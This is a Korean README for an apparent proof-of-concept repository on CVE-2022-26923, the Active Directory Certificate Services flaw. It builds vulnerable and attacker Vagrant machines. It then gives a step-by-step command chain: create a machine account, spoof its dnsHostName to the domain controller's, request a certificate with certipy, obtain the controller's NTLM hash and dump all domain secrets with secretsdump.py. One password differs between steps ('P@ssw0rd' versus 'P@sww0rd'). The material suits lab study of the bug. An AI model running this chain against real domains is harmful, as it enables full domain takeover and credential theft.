
CVE-2022-26923을 악용하는 개념 증명(PoC)입니다.
이 취약점으로 인해 낮은 권한의 사용자가 Active Directory Certificate Services(AD CS) 서버 역할이 설치된 기본 Active Directory 환경에서 도메인 관리자로 권한을 상승시킬 수 있었습니다.
이 취약점은 주로 AD CS(Active Directory Certificate Services) 역할과 관련이 있습니다. AD CS 역할은 조직에서 공개 키 인프라(PKI)를 구축하고 공개 키 암호화, 디지털 인증서, 디지털 서명 기능을 제공할 수 있게 해주는 Windows Server 역할입니다. AD CS 역할은 사용자, 컴퓨터 및 서비스에 인증서를 발급하는 데 사용됩니다.
사용되는 Windows Server 버전은 취약한 버전인 Windows Server 2019 Standard Evaluation입니다.
제공된 Vagrantfile(Vulnerable Machine 폴더에 있음)은 AD CS 역할이 설치 및 구성된 Windows Server 2019 VM과 다음 자격 증명을 가진 낮은 권한의 사용자를 생성합니다:
userV@grant1환경을 생성하려면 다음 단계를 따르세요:
CVE-2022-26923 디렉터리로 이동합니다:
git clone https://github.com/Gh-Badr/CVE-2022-26923
cd CVE-2022-26923
Vagrantfile에서 다음 줄의 IP 주소를 교체하면 됩니다:
config.vm.network "private_network", type: "static", ip: "192.168.33.13"
cd 'Vulnerable Machine'
vagrant up
certipy가 설치된 Linux 머신이 없다면 Attacker Machine 디렉터리에 제공된 vagrant 머신을 다음 명령으로 사용할 수 있습니다:
cd 'Attacker Machine'
vagrant up
Attacker Machine 폴더에는 최신 버전의 certipy를 설치하는 셸 스크립트와 함께 vagrant 머신이 포함되어 있습니다. 이 스크립트를 사용하여 Linux 머신에 certipy를 설치할 수도 있습니다.
공격자 머신에 연결하려면 Attacker Machine 디렉터리에서 다음 명령을 실행합니다:
vagrant ssh
이제 공격 머신에 접속했으므로 Windows Server의 IP 주소를 hosts 파일에 추가해야 합니다:
echo "192.168.33.13 VAGRANT-K51B6U3.vagrant.local VAGRANT-K51B6U3 vagrant-VAGRANT-K51B6U3-CA vagrant.local" | sudo tee -a /etc/hosts
참고: 취약한 머신의 Vagrantfile에서 IP 주소를 변경했다면 여기에서도 변경해야 합니다.
그런 다음, 도메인에 새 컴퓨터 계정을 생성합니다:
addcomputer.py 'vagrant.local/user:V@grant1' -method LDAPS -computer-name 'CVEPC' -computer-pass 'P@ssw0rd'
컴퓨터 계정이 생성되었는지 확인하려면 Vulnerable Machine 디렉터리에서 다음 명령을 실행하여 user 사용자와 비밀번호 V@grant1로 취약한 머신에 연결합니다:
vagrant ssh
그런 다음 다음 명령을 실행하여 컴퓨터 계정이 생성되었는지 확인합니다:
Get-ADComputer CVEPC -Properties dnsHostName,servicePrincipalName
이 컴퓨터 계정의 dnsHostName은 CVEPC.vagrant.local입니다. 우리가 원하는 것은 이 dnsHostName을 도메인 컨트롤러인 VAGRANT-K51B6U3.vagrant.local로 변경하는 것입니다.
이렇게 하려면 먼저 다음 명령을 실행하여 CVEPC 컴퓨터 계정에서 SPN(서비스 사용자 이름, Service Principal Name)을 삭제해야 합니다:
Set-ADComputer CVEPC -Properties ServicePrincipalName @{}
그런 다음 다음 명령을 실행하여 dnsHostName을 VAGRANT-K51B6U3.vagrant.local로 변경할 수 있습니다:
Set-ADComputer CVEPC -Properties dnsHostName VAGRANT-K51B6U3.vagrant.local
이제 dnsHostName이 VAGRANT-K51B6U3.vagrant.local인 컴퓨터 계정이 있으므로 공격 머신에서 다음 명령을 실행하여 취약한 머신으로부터 악성 인증서를 요청할 수 있습니다:
certipy req -username '[email protected]' -password 'P@sww0rd' -ca vagrant-VAGRANT-K51B6U3-CA -template Machine -target VAGRANT-K51B6U3.vagrant.local
현재 디렉터리에 vagrant-k51b6u3.pfx라는 인증서가 생성됩니다.
인증서가 유효한지 확인하려면 다음 명령을 실행하여 certipy의 auth 도구를 사용합니다:
certipy auth -pfx vagrant-k51b6u3.pfx
인증서가 유효하면 도메인 컨트롤러의 NTLM 해시를 얻을 수 있습니다. 이는 다양한 악의적인 방법으로 사용될 수 있습니다.
개념 증명으로, NTLM 해시를 사용하여 도메인에 저장된 모든 비밀을 검색할 수 있습니다(CVE 작성자의 문서에 설명된 대로). 이를 위해 impacket 스위트의 secretsdump.py 도구를 사용할 수 있습니다(이 도구는 최신 버전의 certipy와 함께 설치됩니다).
도구를 사용하려면 다음 명령을 실행합니다:
secretsdump.py 'vagrant.local/[email protected]' -hashes :<NTLM hash>
<NTLM hash>를 이전 단계에서 얻은 NTLM 해시로 바꾸세요.
결과적으로 도메인에 저장된 모든 비밀을 얻을 수 있습니다.